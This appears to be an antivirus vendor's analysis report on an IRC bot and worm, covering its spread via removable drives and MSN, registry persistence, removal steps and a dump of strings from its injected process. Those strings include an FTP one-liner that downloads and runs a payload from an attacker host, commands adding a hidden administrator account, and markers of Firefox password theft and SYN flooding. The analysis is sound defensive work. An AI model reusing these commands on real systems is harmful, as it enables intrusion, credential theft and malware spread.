Blazebot_fe78912541 – Adaware

Dynamic Analysis

Payload

Behaviour	Description
WormAutorun	A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.
IRCBot	A bot can communicate with command and control servers via IRC channel.
MSNWorm	A worm can spread its copies through the MSN Messanger.
Trojan-Proxy	This program can launch a proxy server (SOCKS4) on a designated TCP port.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1476

The Trojan injects its code into the following process(es):

csrss.exe:656

File activity

The process %original file name%.exe:1476 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%WinDir%\csrss.exe (1281 bytes)

Registry activity

The process %original file name%.exe:1476 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B1 1D 4B 80 EB B8 4A 61 F8 56 86 9D AA BC 3E 20"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Remote Registry Service" = "csrss.exe"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.A worm can spread its copies through the MSN Messanger.

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:1476
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%WinDir%\csrss.exe (1281 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Remote Registry Service" = "csrss.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: aFqajLbYoh
Product Name: HkJySgWwqi
Product Version: 7.0.8.0
Legal Copyright: LCCDlzszfA
Legal Trademarks: ttbZwtXTcj
Original Filename: temp.exe
Internal Name: temp.exe
File Version: 7.0.8.0
File Description: XoUlVQbejB
Comments: ngxknwybDy
Language: Chinese (Traditional, Taiwan)

Company Name: aFqajLbYohProduct Name: HkJySgWwqiProduct Version: 7.0.8.0Legal Copyright: LCCDlzszfALegal Trademarks: ttbZwtXTcjOriginal Filename: temp.exeInternal Name: temp.exeFile Version: 7.0.8.0File Description: XoUlVQbejBComments: ngxknwybDyLanguage: Chinese (Traditional, Taiwan)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	89224	89600	4.59954	660d4f7e14ede1a0424ba9e103abd52d
.rdata	94208	20250	20480	3.43303	fd470a636d9b823ee6c2293c12fe347a
.data	114688	19180	6656	2.68036	e82c515e0ea9cf59466ff02ac1ec6894
.rsrc	135168	1336	1536	3.27816	aed2b4e3a3df55c8eaf872f9e37310d5
.reloc	139264	8698	8704	3.33381	643b0cbeb673d8bb779ecf92d99809ad

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
vids.p0rn-lover.us	176.31.75.42

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

csrss.exe_656:

.text

`.rdata

@.data

.rsrc

t1SSSSh

SSSh8

PSShB

msn.msg

msn.stop

login

firefox

join

USERENV.dll

VkKeyScanA

keybd_event

USER32.dll

ole32.dll

OLEAUT32.dll

TransactNamedPipe

GetWindowsDirectoryA

KERNEL32.dll

MSVCRT.dll

_acmdln

RegCloseKey

RegOpenKeyExA

RegCreateKeyExA

ADVAPI32.dll

WS2_32.dll

ntpass

Exploit FTPD: %d, Total: %d.

%s: %d,

%s Exploit Statistics:

cmd /c echo open jayne.p0rn-lover.us 8989 > i &echo user upload upload >> i &echo binary >> i &echo get rundat.exe >> i &echo quit >> i &ftp -n -s:i &rundat.exe&del i

%s.%s.%s.%s

%s Scan not active.

%s Current IP: %s.

%s Server started, Port: %i, File: %s.

%d.%d.%d.%d

%s Finished at %s:%d after %d minute(s) of scanning.

%s %s:%d, Scan thread: %d, Sub-thread: %d.

%s Failed to initialize critical section, error: <%d>

%s Portscan: %s:%d open.

Failed auth by %s(%s@%s)

Whats up %s? Im ready to rock!

Spy: %s!%s@%s (PM: "%s")

Fail by: %s!%s@%s (Pass Tried: %s)

%s out.

%s already running: <%d>.

Failed to start thread %s, error: <%d>.

[Current task] %s [System uptime] %s [Bot Uptime] %s

Bot installed on: %s.

Go fuck yourself %s.

MSN// Message & Zipfile sent to: %d contacts.

Hey got new sex Pics from me %d. realy Sexy!

MSN// Sent Stats - Messages: %d :: Files: %d :: Message & Files: %d.

Removed by: %s!%s@%s

Advapi.dll Failed

PStore.dll Failed.

%s Failed to parse command.

%s Failed to start scan thread, error: <%d>.

%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.

%s No subnet class specified, try "-a" or "-b" or "-c"

%s Could not parse external IP.

%s Trying to get external IP.

%s Failed to start scan, no IP specified.

%d.x.x.x

%s Failed to start scan, port is invalid.

%s Already scanning with %d threads. Too many specified.

Updating from %s (%s)

%stempfile%d%d%d%d%d.exe

ftp://%s:%s@%s:%s/%s path: %s

sftp

net localgroup Administrateurs ASP.NET /add

net localgroup Administradors ASP.NET /add

net localgroup Administratoren ASP.NET /add

net localgroup Administrator ASP.NET /add

net localgroup Administrators ASP.NET /add

net user ASP.NET hardcore /add

SYN: Failed to start thread,error: (%d).

SYN: --> (%s:%s) for (%s secs).

FUCKING: --> (%s:%s) for (%s secs).

Downloading %s and saving it to: %s.

Failed to start socks4 daemon (%s)

Socks(4) server started on %s:%i

Starting firefox pstore

FIREFOX Threads

Process Finished: "%s", Total Running Time: %s.

File executed: %s

Unable to create process: "%s"

%s Couldn't parse path, error: <%d>

%.1fkb downloaded to %s (%.1fkbps)

Couldn't open file for writing: %s.

Windows for Workgroups 3.1a

WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195

Windows 2000 5.0

Windows 2000 2195

PK11_CheckUserPassword

PK11_GetInternalKeySlot

softokn3.dll

sqlite3.dll

nssutil3.dll

plds4.dll

nspr4.dll

mozcrt19.dll

nss3.dll

plc4.dll

%s %s:%s

SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command

\profiles.ini

Application Data\Mozilla\Firefox

signons3.txt

signons2.txt

signons1.txt

pipe\epmapper

\\%s\

Windows 5.1

Windows 5.0

Windows 2000 LAN Manager*

NT LAN Manager *.*

Windows Server 2003 *.*

%s File transfer complete to IP: %s.

%s File transfer complete to IP: %s, File: %s, Size: %s bytes, Total sends: %i.

%s Started send to IP: %s.

200 PORT command successful.

PORT

%s %s LIST request from: %s

425 Passive not supported on this server

215 StnyFtpd

331 Password required

%s %s

%s Couldn't open data connection to: %s:%i, error: <%d>.

Ping Timeout? (%d-%d)%d/%d

Login list completed!

<%i> %s!%s@%s

Logins:

USER TbT * 0 :%s

NICK %s

{%s-%s-%s-%s-%s}

{iNF-%s-%s-%s-%s-%s}

nigzss.txt

TskMultiChatForm.UnicodeClass

__oxFrame.class__

PASS %s

QUIT %s

PONG %s

NICK

PRIVMSG

JOIN

NOTICE %s :%s

PRIVMSG %s :%s

JOIN %s

JOIN %s %s

PART %s

[%s|%s]

shlwapi.dll

pstorec.dll

psapi.dll

userenv.dll

SQLDisconnect

SQLFreeHandle

SQLAllocHandle

SQLExecDirect

SQLSetEnvAttr

SQLDriverConnect

odbc32.dll

ShellExecuteA

shell32.dll

mpr.dll

GetUdpTable

GetTcpTable

iphlpapi.dll

dnsapi.dll

netapi32.dll

Mozilla/4.0 (compatible)

InternetCrackUrlA

InternetOpenUrlA

FtpPutFileA

FtpGetFileA

HttpSendRequestA

HttpOpenRequestA

wininet.dll

ws2_32.dll

RegEnumKeyExA

advapi32.dll

user32.dll

kernel32.dll

%s!%s@%s

NICK {%s-%s-%s-%s-%s}

https:/

http:/

csrss.exe

*!*@fbi.edu

||FTP||

jayne.p0rn-lover.us

rundat.exe

vids.p0rn-lover.us

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\

%s\%s

%s Done @ (%iKB Sec)

No %s thread found.

%s thread stopped.

[.ShellClassInfo]

CLSID={645FF040-5081-101B-9F08-00AA002F954E}

\Desktop.ini

\autorun.inf

icon=%SystemRoot%\system32\SHELL32.dll,4

http://www.whatismyip.com

http://checkip.dyndns.org

del "%s">nul

if exist "%s" goto Repeat

ping 0.0.0.0>nul

%s\removeMe%i%i%i%i.bat

%s%%s

%d day%s (%0.2d hours & %0.2d mins)

192.168.11.130

csrss.exe_656_rwx_00400000_0005A000: